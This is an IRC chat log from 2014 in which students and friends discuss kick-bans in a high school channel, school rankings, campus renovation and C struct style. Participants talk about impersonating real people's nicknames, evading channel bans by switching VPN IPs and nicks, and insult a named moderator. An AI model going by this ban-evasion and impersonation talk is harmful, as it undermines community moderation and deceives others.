[2014-11-20T22:14:45-0500] <Tamini_> awe did
[2014-11-20T22:14:45-0500] <~awe> james: Of course I did.
[2014-11-20T22:14:50-0500] <Tamini_> nezorg: uhh
[2014-11-20T22:14:52-0500] <james> mcraig (~mcraig@209.222.23.60) has left #tjhsst ("3.14159265358979...")
[2014-11-20T22:14:54-0500] <Tamini_> they assumed he was josh, right
[2014-11-20T22:14:54-0500] <james> ^that
[2014-11-20T22:15:55-0500] <+LittleBobbyTables> Get irccloud off ban :(
[2014-11-20T22:16:11-0500] <Tamini_> LOL
[2014-11-20T22:16:16-0500] <Tamini_> james we're really shitty at covering for people
[2014-11-20T22:16:20-0500] <Tamini_> okay how do we let nezorg stay
[2014-11-20T22:16:25-0500] <Tamini_> without lying
[2014-11-20T22:16:32-0500] <james> Tamini_: hey that wasn't too shitty
[2014-11-20T22:16:47-0500] <Tamini_> the alibi is going to unravel
[2014-11-20T22:16:48-0500] <~awe> If I say yes will they ask about it?
[2014-11-20T22:16:54-0500] <Tamini_> also that makes him
[2014-11-20T22:16:55-0500] <Tamini_> literally 32
[2014-11-20T22:16:56-0500] <Tamini_> LOL
[2014-11-20T22:17:02-0500] <Tamini_> (right, since 9+ahamilto)
[2014-11-20T22:17:08-0500] <james> say something like "something like that"
[2014-11-20T22:17:13-0500] <Tamini_> jesus christ
[2014-11-20T22:17:14-0500] <james> er no
[2014-11-20T22:17:15-0500] <Tamini_> no
[2014-11-20T22:17:17-0500] <james> that'd probably be stupid
[2014-11-20T22:17:17-0500] <Tamini_> baad idea
[2014-11-20T22:18:05-0500] <~awe> I don't know what do.
[2014-11-20T22:18:10-0500] <Tamini_> LOL
[2014-11-20T22:18:12-0500] <Tamini_> i dont either
[2014-11-20T22:18:34-0500] <nezorg> wonder how they'll handle md
[2014-11-20T22:18:37-0500] <~awe> I need to stop doing that.
[2014-11-20T22:18:40-0500] <james> they just ignored you, so do nothing maybe?
[2014-11-20T22:18:44-0500] <nezorg> yeah
[2014-11-20T22:18:46-0500] <nezorg> for now
[2014-11-20T22:18:56-0500] <james> why are you doing that
[2014-11-20T22:19:04-0500] <Tamini_> nezorg: i might be able to
[2014-11-20T22:19:05-0500] <Tamini_> cover for you
[2014-11-20T22:19:08-0500] <Tamini_> if james helps me
[2014-11-20T22:19:10-0500] <Tamini_> and let you stay
[2014-11-20T22:19:10-0500] <james> oh shit
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[2014-11-20T22:19:12-0500] <james> 22:19:01      @creffett | mcraig, zorgne: please clearly identify yourselves and your relation to TJ. You have twenty seconds to comply.
[2014-11-20T22:19:15-0500] <Tamini_> since you're actually in high school
[2014-11-20T22:19:17-0500] <nezorg> uh oh
[2014-11-20T22:19:17-0500] <bob_twinkles> ahahaha creffett
[2014-11-20T22:19:19-0500] <Tamini_> jesus christ
[2014-11-20T22:19:19-0500] <Tamini_> LOL
[2014-11-20T22:19:24-0500] <Tamini_> your call
[2014-11-20T22:19:25-0500] <james> freaking creffett
[2014-11-20T22:19:32-0500] <+LittleBobbyTables> Tell him you're waiting for someone
[2014-11-20T22:19:34-0500] <+LittleBobbyTables> :^)
[2014-11-20T22:19:35-0500] <+LittleBobbyTables> It worked for me
[2014-11-20T22:19:37-0500] <+LittleBobbyTables> lol
[2014-11-20T22:19:39-0500] <Tamini_> nezorg: think fast
[2014-11-20T22:19:39-0500] <Tamini_> LOL
[2014-11-20T22:19:39-0500] <james> probably not
[2014-11-20T22:19:43-0500] <james> say something
[2014-11-20T22:19:45-0500] <james> anything
[2014-11-20T22:19:46-0500] <Tamini_> "i'm dating a sysadmin"
[2014-11-20T22:19:49-0500] <Tamini_> "i'm dating jwoglom"
[2014-11-20T22:19:56-0500] <james> um
[2014-11-20T22:20:19-0500] <Tamini_> also nezorg: you're easy enough to stalk online
[2014-11-20T22:20:28-0500] <nezorg> but is zorgne
[2014-11-20T22:20:52-0500] <nezorg> politics are interesting
[2014-11-20T22:21:07-0500] <Tamini_> LOL
[2014-11-20T22:21:13-0500] <Tamini_> go tell them you're dating jwoglom.
[2014-11-20T22:21:21-0500] <Tamini_> no, actually probably a bad idea
[2014-11-20T22:21:25-0500] <nezorg> awwww
[2014-11-20T22:21:25-0500] <Tamini_> wait bob_twinkles help
[2014-11-20T22:21:26-0500] <~awe> Lol, they just banned an actual person from ever coming back.
[2014-11-20T22:21:28-0500] <james> um
[2014-11-20T22:21:35-0500] <Tamini_> awww, dammit
[2014-11-20T22:21:36-0500] <Tamini_> >.<
[2014-11-20T22:21:38-0500] <~awe> Ah well.
[2014-11-20T22:21:40-0500] <~awe> That was humorous.
[2014-11-20T22:21:41-0500] <+LittleBobbyTables> What'd they do
[2014-11-20T22:21:42-0500] <Tamini_> why :<
[2014-11-20T22:21:46-0500] <james> banned and kicked both
[2014-11-20T22:21:47-0500] <~awe> LittleBobbyTables: they B& me.
[2014-11-20T22:22:01-0500] <+LittleBobbyTables> Either way, all bans are easy to get around.
[2014-11-20T22:22:01-0500] <~awe> But I was using a real dude's nickname.
[2014-11-20T22:22:06-0500] <~awe> Yeah, it was a nick ban.
[2014-11-20T22:22:10-0500] <james> awe you should have done something
[2014-11-20T22:22:16-0500] <~awe> Like what?
[2014-11-20T22:22:18-0500] <~awe> Say I was from Class of 2000?
[2014-11-20T22:22:19-0500] <+LittleBobbyTables> mccraige, ez
[2014-11-20T22:22:26-0500] <james> well i mean
[2014-11-20T22:22:27-0500] <~awe> What if I pretended to be my CS professor.
[2014-11-20T22:22:28-0500] <james> they were asking that
[2014-11-20T22:22:30-0500] <~awe> I know what he's doing with his life.
[2014-11-20T22:22:43-0500] <~awe> I wonder if he's already on Freenode.
[2014-11-20T22:23:07-0500] <nezorg> well I have hw to do
[2014-11-20T22:23:15-0500] <nezorg> bye for now
[2014-11-20T22:23:32-0500] <~awe> He's not.
[2014-11-20T22:23:35-0500] <~awe> Should I do that?
[2014-11-20T22:23:45-0500] <~awe> james: Yeah, I didn't know if I should answer or not though.
[2014-11-20T22:23:52-0500] <james> don't ban evade
[2014-11-20T22:23:52-0500] <~awe> james: I can change hosts and rejoin as someone else.
[2014-11-20T22:23:54-0500] <james> they'll permaban you
[2014-11-20T22:23:58-0500] <james> impersonate someone else
[2014-11-20T22:24:01-0500] <~awe> Lol, permaban me.
[2014-11-20T22:24:01-0500] <james> but wait a while
[2014-11-20T22:24:01-0500] <~awe> Okay.
[2014-11-20T22:24:04-0500] <~awe> It's not even my IP.
[2014-11-20T22:24:16-0500] <Tamini_> not right now though
[2014-11-20T22:24:17-0500] <Tamini_> since
[2014-11-20T22:24:20-0500] <Tamini_> this is going on
[2014-11-20T22:24:42-0500] <~awe> Your high school is so elitist.
[2014-11-20T22:24:58-0500] <~awe> The historical list of sysadmins.
[2014-11-20T22:25:06-0500] <~awe> The fact that there's student sysadmins for your school.
[2014-11-20T22:25:11-0500] <~awe> The way they behaved.
[2014-11-20T22:25:12-0500] <+LittleBobbyTables> Considering I've joined on like 12 IPs, I don't think they care that much about VPN's and whatnot.
[2014-11-20T22:25:20-0500] <Tamini_> lol
[2014-11-20T22:25:32-0500] <~awe> LittleBobbyTables: they can't permaban me though.
[2014-11-20T22:25:35-0500] <~awe> LittleBobbyTables: there's no way to.
[2014-11-20T22:26:09-0500] <+LittleBobbyTables> Ban evading on IRC is significantly easier than most people think.
[2014-11-20T22:26:17-0500] <~awe> Of course it is.
[2014-11-20T22:26:31-0500] <~awe> You literally just change IPs and use a different nickname.
[2014-11-20T22:26:47-0500] <~awe> I have five different VPNs set up already.
[2014-11-20T22:26:51-0500] <~awe> I could switch in an instant.
[2014-11-20T22:27:00-0500] <+LittleBobbyTables> Just keep using PIA.
[2014-11-20T22:27:16-0500] <~awe> Well, I would probably just switch which center I was connected to.
[2014-11-20T22:27:20-0500] <+LittleBobbyTables> Even within one of their settings they have like 30 IPs.
[2014-11-20T22:27:30-0500] <~awe> Yeah, I know.
[2014-11-20T22:27:32-0500] <Tamini_> i think you guys sparked an
[2014-11-20T22:27:33-0500] <Tamini_> ethics debate
[2014-11-20T22:27:34-0500] <Tamini_> LOL
[2014-11-20T22:27:36-0500] <~awe> Awesome!
[2014-11-20T22:27:48-0500] <~awe> I wish I could see it though.
[2014-11-20T22:28:00-0500] <bob_twinkles> I can pastebin logs once they're done
[2014-11-20T22:28:07-0500] <+LittleBobbyTables> Do it ^_^
[2014-11-20T22:28:19-0500] <Tamini_> oh right james
[2014-11-20T22:28:20-0500] <+LittleBobbyTables> Is it "Why kickban people that aren't causing issues?"
[2014-11-20T22:28:23-0500] <Tamini_> didn't you promise me passwords
[2014-11-20T22:28:24-0500] <Tamini_> sometime
[2014-11-20T22:28:42-0500] <james> Tamini_: passwords for?
[2014-11-20T22:28:42-0500] <~awe> bob_twinkles: Thanks.
[2014-11-20T22:28:51-0500] <Tamini_> uhh
[2014-11-20T22:28:51-0500] <james> oh pfoley's logs?
[2014-11-20T22:28:52-0500] <Tamini_> logs?
[2014-11-20T22:28:53-0500] <Tamini_> yea
[2014-11-20T22:29:00-0500] <~awe> Oh, yeah.
[2014-11-20T22:29:03-0500] <~awe> He has a site, right?
[2014-11-20T22:29:45-0500] <+LittleBobbyTables> Man
[2014-11-20T22:29:51-0500] <+LittleBobbyTables> I wish my internet wasn't taking a shit right now.
[2014-11-20T22:29:57-0500] <~awe> https://www.dropbox.com/s/xe3snnbvsez5sp6/Screenshot%202014-11-20%2022.29.53.png?dl=0
[2014-11-20T22:30:00-0500] <+LittleBobbyTables> I'd join back just to see if they can finish diagnosing my error.
[2014-11-20T22:30:03-0500] <~awe> Note the BigBobbtyTable quote.
[2014-11-20T22:30:44-0500] <+LittleBobbyTables> I like how quite a few of those are to me lol
[2014-11-20T22:32:08-0500] <bob_twinkles> yeah everyone pops their head up for the ~4-times-a-week shitstorm
[2014-11-20T22:32:09-0500] <+LittleBobbyTables> james/bob_twinkles
[2014-11-20T22:32:20-0500] <+LittleBobbyTables> Do either of you have the pastebin link I gave?
[2014-11-20T22:32:31-0500] <+LittleBobbyTables> tjhsst bot quoted it saying "errors"
[2014-11-20T22:32:45-0500] <james> which pastebin was this?
[2014-11-20T22:32:50-0500] <james> how long ago
[2014-11-20T22:32:53-0500] <+LittleBobbyTables> Uhh
[2014-11-20T22:33:01-0500] <+LittleBobbyTables> Shortly before my /quit
[2014-11-20T22:33:09-0500] <bob_twinkles> LittleBobbyTables: irccloud pastebin requires javascript to figure stuff out
[2014-11-20T22:33:11-0500] <bob_twinkles> oh uh
[2014-11-20T22:33:34-0500] <bob_twinkles> LittleBobbyTables: http://pastebin.com/cnMBYWDf
[2014-11-20T22:33:36-0500] <+LittleBobbyTables> it was after jcotton I think said "Any specific errors?" or something similar
[2014-11-20T22:33:40-0500] <bob_twinkles> yeah
[2014-11-20T22:33:42-0500] <+LittleBobbyTables> thanks
[2014-11-20T22:33:52-0500] <bob_twinkles> tjhsstbot pulls titles from links and shortlinks stuff
[2014-11-20T22:34:04-0500] <james> yeah
[2014-11-20T22:34:05-0500] <~awe> james: I want the password for these logs, too.
[2014-11-20T22:34:06-0500] <james> any link
[2014-11-20T22:34:07-0500] <bob_twinkles> the regex to detect urls is a matter of great bikeshedding
[2014-11-20T22:34:26-0500] <+LittleBobbyTables> Yeah, I know :P
[2014-11-20T22:34:31-0500] <+LittleBobbyTables> I had the same issue with my bot before
[2014-11-20T22:38:16-0500] <~awe> I love that I'm now essentially in this channel
[2014-11-20T22:38:18-0500] <~awe> without being in it.
[2014-11-20T22:38:21-0500] <Tamini_> yo lbt
[2014-11-20T22:38:22-0500] <Tamini_> be proud
[2014-11-20T22:38:23-0500] <james> shitstorm alert
[2014-11-20T22:38:24-0500] <Tamini_> <s0lder> I wonder how long they'll stew on this
[2014-11-20T22:38:24-0500] <Tamini_> <Tamini> at least the issue actually got raised
[2014-11-20T22:38:24-0500] <Tamini_> <bob_twinkles> I dunno, but this is the first proper shitstorm we've had in like
[2014-11-20T22:38:24-0500] <Tamini_> <bob_twinkles> days
[2014-11-20T22:38:24-0500] <Tamini_> <Tamini> LO
[2014-11-20T22:38:37-0500] <+LittleBobbyTables> Do I win?
[2014-11-20T22:39:03-0500] <Tamini_> eh
[2014-11-20T22:39:21-0500] <+LittleBobbyTables> I wanted to stay on when you told creffett that it wasn't Claudia doing the DDoS
[2014-11-20T22:39:53-0500] <Tamini_> ol
[2014-11-20T22:39:56-0500] <bob_twinkles> geese I need to find a script to upload to pastebin
[2014-11-20T22:40:03-0500] <bob_twinkles> this is getting too long to copy and paste manually XD
[2014-11-20T22:40:03-0500] <~awe> crreffett is an elitist prick.
[2014-11-20T22:40:11-0500] <james> indeed
[2014-11-20T22:40:16-0500] <bob_twinkles> yep
[2014-11-20T22:40:20-0500] <Tamini_> i sort of watn to
[2014-11-20T22:40:22-0500] <Tamini_> c/p that awe quote
[2014-11-20T22:40:27-0500] <+LittleBobbyTables> Do it
[2014-11-20T22:40:27-0500] <Tamini_> but I don't want to claim I knew him
[2014-11-20T22:40:27-0500] <Tamini_> LOL
[2014-11-20T22:40:31-0500] <Tamini_> the one about uh
[2014-11-20T22:40:41-0500] <Tamini_> <awe> Your high school is so elitist.
[2014-11-20T22:40:41-0500] <Tamini_> <awe> The historical list of sysadmins.
[2014-11-20T22:40:41-0500] <Tamini_> <awe> The fact that there's student sysadmins for your school.
[2014-11-20T22:40:41-0500] <Tamini_> <awe> The way they behaved.
[2014-11-20T22:40:43-0500] <+LittleBobbyTables> Just ctrl a, bob_twinkles 
[2014-11-20T22:40:54-0500] <Tamini_> except i don't feel like claiming i knew him
[2014-11-20T22:41:11-0500] <bob_twinkles> LittleBobbyTables: you assume my computer is more advanced than an abacus
[2014-11-20T22:41:20-0500] <james> we are the #1 high school in the country
[2014-11-20T22:41:22-0500] <bob_twinkles> also this client is running on a headless server
[2014-11-20T22:41:41-0500] <Tamini_> lol
[2014-11-20T22:41:44-0500] <Tamini_> james: no we aren't
[2014-11-20T22:41:49-0500] <Tamini_> we're the #1 public school
[2014-11-20T22:41:51-0500] <Tamini_> much different
[2014-11-20T22:42:07-0500] <james> Tamini_: okok
[2014-11-20T22:42:10-0500] <~awe> Uhh...
[2014-11-20T22:42:10-0500] <+LittleBobbyTables> #1 elitist school 
[2014-11-20T22:42:15-0500] <~awe> You're the #2 high school in the country, period.
[2014-11-20T22:42:19-0500] <~awe> Including private schools.
[2014-11-20T22:42:25-0500] <~awe> You're the #2 public high school also.
[2014-11-20T22:42:29-0500] <~awe> >.>
[2014-11-20T22:42:42-0500] <Tamini_> wait
[2014-11-20T22:42:46-0500] <Tamini_> who's beating us?
[2014-11-20T22:43:04-0500] <james> it doesn't really matter what rank we are honestly because newsweek, us news keep adjusting their rankings
[2014-11-20T22:43:18-0500] <james> what's more important is that we've consistantly been at or near the top in those lists since 2007
[2014-11-20T22:44:53-0500] <~awe> Yeah.
[2014-11-20T22:44:55-0500] <~awe> THat's fair.
[2014-11-20T22:44:59-0500] <~awe> But uhh...
[2014-11-20T22:45:12-0500] <~awe> A lot of the time, you get beat the the Academy for the Gifted and Talented in Dallas.
[2014-11-20T22:45:49-0500] <~awe> Can somebody bring up that IRC is inherently anonymous and if someone with ties to TJ wishes to be in the channel but exist anonymously and not identify even those ties (e.g. pretending to be unaffiliated), they should have that right?
[2014-11-20T22:45:54-0500] <~awe> Please?
[2014-11-20T22:46:02-0500] <james> awe: true -- we have over twice the number of students though
[2014-11-20T22:46:10-0500] <james> also from their statistics
[2014-11-20T22:46:19-0500] <james> the average student takes like 7+ APs there
[2014-11-20T22:46:27-0500] <james> but they have a pretty large failing rate
[2014-11-20T22:46:29-0500] <~awe> Neither school is that great anyway.
[2014-11-20T22:46:34-0500] <~awe> You're both just ultra-rich.
[2014-11-20T22:46:55-0500] <~awe> TJ is so high-ranking because it more-or-less requires you to be wealthy to attend.
[2014-11-20T22:46:56-0500] <james> TJ has inherently rich kids, yes, but we don't get a rediculous amount of money
[2014-11-20T22:47:00-0500] <~awe> That's not the point.
[2014-11-20T22:47:08-0500] <~awe> Wealthy kids do better by all metrics of this sort.
[2014-11-20T22:47:31-0500] <james> true
[2014-11-20T22:47:35-0500] <~awe> They take more AP tests, they score higher on them, they score higher on the SATs, they score higher on the ACTs, they go to better universities, etc.
[2014-11-20T22:47:39-0500] <+LittleBobbyTables> awe, there were a couple of people on my side about that.
[2014-11-20T22:47:47-0500] <+LittleBobbyTables> Most weren't, though :(
[2014-11-20T22:47:53-0500] <~awe> All the thinks they use to rank high schools are correlated with wealth.
[2014-11-20T22:48:07-0500] <~awe> Therefore, all these rankings of high schools tell us is how wealthy the students are.
[2014-11-20T22:48:34-0500] <~awe> I think an interesting metric for ranking schools could be normalizing all of these factors by average household income of the student.
[2014-11-20T22:49:47-0500] <~awe> 2014-11-20 22:44:48 <tjhsstBot> creffett actually meant: but right now I'm not really in the mood to listen to you, tcmzeal
[2014-11-20T22:49:47-0500] <~awe> 2014-11-20 22:44:48 <creffett> !s/to\ listen/to listen to you, tcmzeal/g
[2014-11-20T22:49:53-0500] <~awe> This guy is such a fucking tool.
[2014-11-20T22:50:08-0500] <Tamini_> lol awe
[2014-11-20T22:50:14-0500] <Tamini_> is bob_twinkles feeding you logs 
[2014-11-20T22:50:15-0500] <Tamini_> live
[2014-11-20T22:50:24-0500] <~awe> No, pfoley's bot is.
[2014-11-20T22:50:42-0500] <~awe> Tamini_: Can you please bring up the point I mentioned?
[2014-11-20T22:50:48-0500] <~awe> [22:45:49]  <~awe>	Can somebody bring up that IRC is inherently anonymous and if someone with ties to TJ wishes to be in the channel but exist anonymously and not identify even those ties (e.g. pretending to be unaffiliated), they should have that right?
[2014-11-20T22:51:03-0500] <james> awe: we're a community channel though
[2014-11-20T22:51:05-0500] <Tamini_> uhh
[2014-11-20T22:51:05-0500] <Tamini_> okay
[2014-11-20T22:51:14-0500] <james> like, yes, we're an irc channel and anyone can be in there
[2014-11-20T22:51:18-0500] <~awe> james: And even if I'm anonymous, I can still be a part of that community.
[2014-11-20T22:51:20-0500] <james> but we can decide if we want people in there or not
[2014-11-20T22:51:25-0500] <~awe> james: Say I was actually a TJ student
[2014-11-20T22:51:36-0500] <~awe> But I wanted to remain anonymous.
[2014-11-20T22:51:47-0500] <~awe> And did not wish to state that I was a TJ student.
[2014-11-20T22:51:49-0500] <bob_twinkles> creffett would shit his pants and kb you
[2014-11-20T22:51:52-0500] <~awe> Exactly.
[2014-11-20T22:51:54-0500] <james> yep
[2014-11-20T22:51:57-0500] <~awe> Bring that up.
[2014-11-20T22:51:59-0500] <~awe> Somebody.
[2014-11-20T22:52:05-0500] <Tam> awe: that's really not a good idea right now
[2014-11-20T22:52:08-0500] <~awe> Why?
[2014-11-20T22:52:12-0500] <~awe> What are they going to do?
[2014-11-20T22:52:15-0500] <~awe> Kickban you, too?
[2014-11-20T22:52:17-0500] <Tam> they're already discussing it
[2014-11-20T22:52:22-0500] <Tam> it's not going to help to bring it up again
[2014-11-20T22:52:38-0500] <bob_twinkles> also  creffett | but right now I'm not really in the mood to listen
[2014-11-20T22:52:48-0500] <Tamini_> yeah 
[2014-11-20T22:52:48-0500] <bob_twinkles> which is pretty representative of his mental state most of the time
[2014-11-20T22:52:51-0500] <Tamini_> I don't know if the edit
[2014-11-20T22:52:55-0500] <Tamini_> made it better or worse
[2014-11-20T22:52:55-0500] <Tamini_> ._.
[2014-11-20T22:53:05-0500] <bob_twinkles> I don't think it counts
[2014-11-20T22:53:21-0500] <Tamini_> hm/
[2014-11-20T22:53:33-0500] <~awe> Yess, you brought itup.
[2014-11-20T22:53:43-0500] <Tam> somebody did
[2014-11-20T22:54:02-0500] <james> and now we're talking about the weather
[2014-11-20T22:55:17-0500] <nezorg> yay
[2014-11-20T22:55:29-0500] <Tamini_> I did
[2014-11-20T22:55:33-0500] <Tamini_> also Tam: why are you still me
[2014-11-20T22:55:44-0500] <Tamini_> nezorg: it might be too late to bring you back though :(
[2014-11-20T22:55:44-0500] <Tam> I regret nothing
[2014-11-20T22:56:09-0500] <~awe> I just noticed that Tam isn't Tamini_. lol
[2014-11-20T22:56:11-0500] <nezorg> Tamini_: I can always join as someone else
[2014-11-20T22:56:21-0500] <Tamini_> LOL
[2014-11-20T22:56:23-0500] <Tam> awe: lol
[2014-11-20T22:56:25-0500] <Tamini_> no, let's not
[2014-11-20T22:56:25-0500] <Tamini_> wait
[2014-11-20T22:56:26-0500] <Tamini_> hmm
[2014-11-20T22:56:28-0500] <Tamini_> james wanna ask for me
[2014-11-20T22:56:28-0500] <Tam> /whois Tam
[2014-11-20T22:56:32-0500] <~awe> I know.
[2014-11-20T22:56:36-0500] <james> Tamini_: ask what?
[2014-11-20T22:56:39-0500] <Tamini_> you're more comfortable there
[2014-11-20T22:56:42-0500] <Tamini_> bringing nezorg back
[2014-11-20T22:56:42-0500] <nezorg> Tamini_: not yet
[2014-11-20T22:56:49-0500] <Tamini_> since he is technically a legitimately interested high school student
[2014-11-20T22:56:49-0500] <Tamini_> but later
[2014-11-20T22:56:50-0500] <james> Tam: you're not making tab completion easy
[2014-11-20T22:56:51-0500] <nezorg> wait at least a couple days
[2014-11-20T22:56:55-0500] <james> pls
[2014-11-20T22:57:00-0500] <Tamini_> nezorg: why a couple days?
[2014-11-20T22:57:02-0500] Tam is now known as T
[2014-11-20T22:57:03-0500] <~awe> Tam: When did you become Tam?
[2014-11-20T22:57:09-0500] <T> hehe
[2014-11-20T22:57:12-0500] T is now known as sdamashek
[2014-11-20T22:57:12-0500] <Tamini_> T: do you think you're cool or something
[2014-11-20T22:57:17-0500] <james> he's so cool
[2014-11-20T22:57:18-0500] <Tamini_> sdamashek: better :P
[2014-11-20T22:57:20-0500] <james> rite guys
[2014-11-20T22:57:20-0500] <sdamashek> awe: I think yesterday
[2014-11-20T22:57:23-0500] <Tamini_> he's a sophomore though
[2014-11-20T22:57:26-0500] <nezorg> Tamini_: to let them cool down a bit
[2014-11-20T22:57:30-0500] james is now known as j
[2014-11-20T22:57:30-0500] <Tamini_> and we know underclassmen can't be cool
[2014-11-20T22:57:33-0500] <Tamini_> nezorg: are you getting these logs
[2014-11-20T22:57:37-0500] <nezorg> no
[2014-11-20T22:57:40-0500] <j> sdamashek: you're going to see the finished TJ!
[2014-11-20T22:57:42-0500] <j> that's not ok!
[2014-11-20T22:57:47-0500] <sdamashek> hopefully :(
[2014-11-20T22:57:51-0500] <Tamini_> awe: pass some logs to nezorg
[2014-11-20T22:57:57-0500] <Tamini_> sdamashek: I hope they finish after you graduate :<
[2014-11-20T22:57:57-0500] <sdamashek> :) *
[2014-11-20T22:57:58-0500] <j> sdamashek: unless the completely fck something up, you basically are
[2014-11-20T22:58:06-0500] <sdamashek> Tamini_: meanie
[2014-11-20T22:58:13-0500] <Tamini_> j: wanna blow up some equipment with me and anya?
[2014-11-20T22:58:14-0500] <Tamini_> <3
[2014-11-20T22:58:16-0500] <j> apparently they already screwed up something significant
[2014-11-20T22:58:20-0500] <sdamashek> yes I can slack off in geosystems in a finished shiny building
[2014-11-20T22:58:22-0500] <Tamini_> sdamashek: you can't enjoy something I can't!
[2014-11-20T22:58:22-0500] <j> by not realizing the size of dr wood's room
[2014-11-20T22:58:36-0500] <j> so now her room will be the last to be demolished
[2014-11-20T22:58:41-0500] <Tamini_> lol
[2014-11-20T22:58:54-0500] <sdamashek> Tamini_: you can still visit as an alumni :P
[2014-11-20T22:58:59-0500] <Tamini_> I coooould
[2014-11-20T22:59:02-0500] <Tamini_> but TJ is like far
[2014-11-20T22:59:03-0500] <j> sdamashek: 2015 already has geosystems :P
[2014-11-20T22:59:07-0500] <Tamini_> and my parents definitely aren't staying here
[2014-11-20T22:59:10-0500] <Tamini_> after I go to college
[2014-11-20T22:59:15-0500] <sdamashek> j: true
[2014-11-20T22:59:28-0500] <j> sdamashek: you'll probably get the new physics rooms sometime next year
[2014-11-20T22:59:28-0500] <ubuntor> ...all this drama
[2014-11-20T22:59:49-0500] <sdamashek> whee
[2014-11-20T22:59:57-0500] <nezorg> logs, anyone?
[2014-11-20T23:00:03-0500] <sdamashek> Tamini_: ic
[2014-11-20T23:00:05-0500] <~awe> http://pastebin.com/auxpNQVG
[2014-11-20T23:00:07-0500] <sdamashek> it's worth it!
[2014-11-20T23:00:10-0500] <~awe> They're upside down though.
[2014-11-20T23:00:13-0500] <~awe> Because his fucking bot.
[2014-11-20T23:00:13-0500] <j> Tamini_: this area is a cool area
[2014-11-20T23:00:18-0500] <sdamashek> Tamini_: you should come on jday though
[2014-11-20T23:00:42-0500] <ubuntor> http://ultronbrowser.info/
[2014-11-20T23:00:46-0500] <j> jday was better freshman year
[2014-11-20T23:00:48-0500] <j> when we had the space
[2014-11-20T23:00:55-0500] <j> it kinda sucked last time
[2014-11-20T23:01:02-0500] <sdamashek> j: but we'll have the space my senior year :P
[2014-11-20T23:01:16-0500] <j> sdamashek: well there'll still be trailers
[2014-11-20T23:01:18-0500] <j> ..some of them
[2014-11-20T23:01:33-0500] <sdamashek> we should have enough space not to have to have everything at the track though
[2014-11-20T23:01:38-0500] <Tamini_> lol
[2014-11-20T23:01:38-0500] <sdamashek> and more stuff inside
[2014-11-20T23:01:42-0500] <Tamini_> i didn't get to go freshman year
[2014-11-20T23:01:45-0500] <j> also in a year-year and a half
[2014-11-20T23:01:48-0500] <Tamini_> last year I just ran around and played video games
[2014-11-20T23:01:49-0500] <j> the middle hallway should be done
[2014-11-20T23:01:59-0500] <j> so that's foreign language
[2014-11-20T23:02:09-0500] <j> and less trailers
[2014-11-20T23:02:13-0500] <Tamini_> yes please
[2014-11-20T23:02:24-0500] <Tamini_> I have no classes in the old part of the school right now
[2014-11-20T23:02:27-0500] <Tamini_> all of them are new wing/trailers
[2014-11-20T23:02:29-0500] <sdamashek> I just want the weyanoke trailers gone :(
[2014-11-20T23:02:29-0500] <Tamini_> >.>
[2014-11-20T23:02:36-0500] <j> Tamini_: physics! woot
[2014-11-20T23:02:38-0500] <Tamini_> sdamashek: I like them better than the crappy ones though.
[2014-11-20T23:02:42-0500] <j> and band
[2014-11-20T23:02:44-0500] <Tamini_> j: I'm not in physics.
[2014-11-20T23:02:44-0500] <~awe> Welp, that was hilarious.
[2014-11-20T23:02:46-0500] <Tamini_> I suck at being a junior
[2014-11-20T23:02:47-0500] <Tamini_> :(
[2014-11-20T23:02:48-0500] <~awe> And also prevented me from writing an essay.
[2014-11-20T23:03:19-0500] <j> Tamini_: sdamashek shitty quality (it's all i have) but phasing: http://i.imgur.com/WSLSxts.png
[2014-11-20T23:03:39-0500] <Tamini_> awe: i've been trying to prove the same thing
[2014-11-20T23:03:40-0500] <Tamini_> for 5 minutes
[2014-11-20T23:03:44-0500] <Tamini_> and failing because distraction
[2014-11-20T23:03:58-0500] <~awe> lol
[2014-11-20T23:03:59-0500] <sdamashek> ooh
[2014-11-20T23:04:04-0500] <nezorg> wonder if they would unban zorgne
[2014-11-20T23:04:12-0500] <bob_twinkles> j: isn't that seeeeeeeeecret?
[2014-11-20T23:04:22-0500] <j> bob_twinkles: sssshhhhhh
[2014-11-20T23:04:28-0500] <Tamini_> nezorg: want us to ask?
[2014-11-20T23:04:31-0500] <Tamini_> or is this a bad timing
[2014-11-20T23:04:31-0500] <sdamashek> the colors
[2014-11-20T23:04:32-0500] <j> I also have the full pdfs of the floor plans
[2014-11-20T23:04:35-0500] <sdamashek> what do they meaaaaaan
[2014-11-20T23:04:36-0500] <Tamini_> pretty colors
[2014-11-20T23:04:38-0500] <Tamini_> pls gib
[2014-11-20T23:04:39-0500] <Tamini_> :<
[2014-11-20T23:04:43-0500] <nezorg> Tamini_: not sure
[2014-11-20T23:04:43-0500] <j> order
[2014-11-20T23:04:53-0500] <Tamini_> j: your call
[2014-11-20T23:05:07-0500] <j> order of demolishment
[2014-11-20T23:05:13-0500] <~awe> So, I want to get awe.rs
[2014-11-20T23:05:17-0500] <j> read the numbers (P2, S2)
[2014-11-20T23:05:27-0500] <~awe> and put something like http://fwilson.me but in Rust up for myself
[2014-11-20T23:05:39-0500] <~awe> But the rs registrars are super shady.
[2014-11-20T23:05:46-0500] <Tamini_> aww
[2014-11-20T23:05:51-0500] <~awe> And very expensive.
[2014-11-20T23:05:56-0500] <Tamini_> also j: the picture is super bad quality-wise
[2014-11-20T23:06:01-0500] <j> Tamini_: i know
[2014-11-20T23:06:16-0500] <j> dr glazer moved from storing teacher only renovation stuff from his web-docs to shares
[2014-11-20T23:06:19-0500] <j> :(
[2014-11-20T23:06:23-0500] <nezorg> never understood why people do 'struct foo_'
[2014-11-20T23:07:01-0500] <~awe> Because they suck?
[2014-11-20T23:07:07-0500] <Tamini_> wait, I think I might be doing something really dumb
[2014-11-20T23:07:17-0500] <Tamini_> nezorg: can I ask a quick math question?
[2014-11-20T23:07:22-0500] <nezorg> sure
[2014-11-20T23:07:32-0500] <bob_twinkles> nezorg: because namespacing
[2014-11-20T23:07:52-0500] <nezorg> bob_twinkles: what’s wrong with `typedef struct { … } foo;`
[2014-11-20T23:08:01-0500] <nezorg> when compared to `typedef struct foo_ { … } foo;`
[2014-11-20T23:08:03-0500] <bob_twinkles> anonymous structs are bad
[2014-11-20T23:08:07-0500] <nezorg> why?
[2014-11-20T23:08:15-0500] <bob_twinkles> typedef struct foo { ... } foo_t; masterrace
[2014-11-20T23:08:20-0500] <~awe> He claims to do Rust but he has no Rust projects?
[2014-11-20T23:08:23-0500] <bob_twinkles> because namespacing
[2014-11-20T23:09:00-0500] <sdamashek> awe: he does Rust mostly to make fun of Rust
[2014-11-20T23:09:06-0500] <~awe> Wow, fuck him.
[2014-11-20T23:09:09-0500] <sdamashek> just like Java
[2014-11-20T23:09:29-0500] <~awe> Who the hell makes fun of Rust?
[2014-11-20T23:09:40-0500] <~awe> It's as fast as C, but type safe.
